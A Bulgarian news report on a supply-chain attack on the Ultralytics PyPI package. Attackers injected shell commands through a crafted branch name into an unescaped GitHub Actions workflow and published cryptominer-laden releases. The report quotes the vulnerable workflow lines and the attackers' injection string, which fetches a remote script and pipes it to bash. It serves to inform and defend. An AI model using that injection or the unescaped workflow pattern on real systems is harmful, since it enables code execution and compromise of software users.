Грешка в обработчика на GitHub Actions доведе до публикуване на злонамерени релизи на Ultralytics

Злоупотребителите успяха да изпълнят код с правата на обработчика GitHub Actions в репозиторий на Python библиотеката Ultralytics, използвана за решаване на задачи в компютърното зрение, като разпознаване на обекти в изображения и сегментиране на изображения. След получаване на достъп до репозитория атакуващите публикуваха в каталога PyPI няколко нови издания на Ultralytics, включващи злонамерени промени за добив на криптовалути. През последния месец библиотеката Ultralytics е изтеглена от каталога PyPI над 6.4 милиона пъти.

За компрометиране на репозитория е била използвана уязвимост в пакета ultralytics-actions, който се използва за автоматично стартиране на обработчици при извършване на определени действия с репозитория в GitHub, използвайки механизма GitHub Actions. В проекта ultralytics уязвимият обработчик е свързван със събитието pull_request_target и е бил извикан при постъпване на нови pull-запитвания. В частност, за форматиране на кода в подаваните pull-запитвания е бил извикан обработчик format.yml и е изпълнен кодът, указан в секцията „run“ на файла action.yml, в който са присъствали shell-команди с шаблони за подмяна: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"

По този начин, в shell-команди без подходящо екраниране е било вмъкнато името на Git клон, споменаван в pull-запитването. Интересно е, че през август в пакета ultralytics-actions вече е била поправена подобна уязвимост, свързана с използване на външна стойност във функцията echo: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

За да организират изпълнението на своя код в контекста на обработчика GitHub Actions, атакуващите изпратили pull-запитване в репозитория ultralytics, посочвайки като име на клона: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Съответно, при постъпването на pull-запитването, в кода е било вмъкнато зададеното от атакуващите изражение "$(…)", което при последващо стартиране на обработчика е довело до изпълнение на кода "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

Изпълнението на код в контекста на GitHub Actions може да се използва за улавяне на токен за достъп до хранилището и други конфиденциални данни. Как точно атакуващите успяха да създадат релиз, получавайки възможност да изпълняват своя код в GitHub Actions, все още е неясно, но се предполага, че това е станало възможно благодарение на промяна в обработчика publish.yml (атакуващите премахнали проверката за акаунта, от който е разрешено публикуването на релизи в PyPI) и използването на техника за отравяне на кеша на GitHub Actions, за да подменят своите данни в релиза.

Първият злонамерен релиз на Ultralytics 8.3.41 бе публикуван от престъпниците в каталога PyPI на 4 декември в 23:51 (MSK) и премахнат в 12:15 на следващия ден. В 15:47 бе публикуван още един релиз 8.3.42, който беше премахнат в 16:47. Така злонамерените версии общо бяха достъпни за изтегляне около 13 часа (в PyPI се записват около 250 хиляди изтегляния на библиотеката ultralytics на ден). В състава на релизите 8.3.41 и 8.3.42 имаше код, който осъществяваше зареждане от външен сървър компонент XMRig за добив на криптовалута.

Разработчиците на проекта отстраниха проблема и създадоха коригиращи релизи 8.3.43 и 8.3.44, но две дни по-късно бе извършена още една атака, при която престъпниците публикуваха днес в 04:41 и 05:27 (MSK) два допълнителни злонамерени релиза - 8.3.45 и 8.3.46, които включват друг код за добив. До приключване на разследването на потребителите се препоръчва да изчакат с инсталирането на нови версии и да фиксират в зависимостите релиза 8.3.44.

Източник: opennet.ru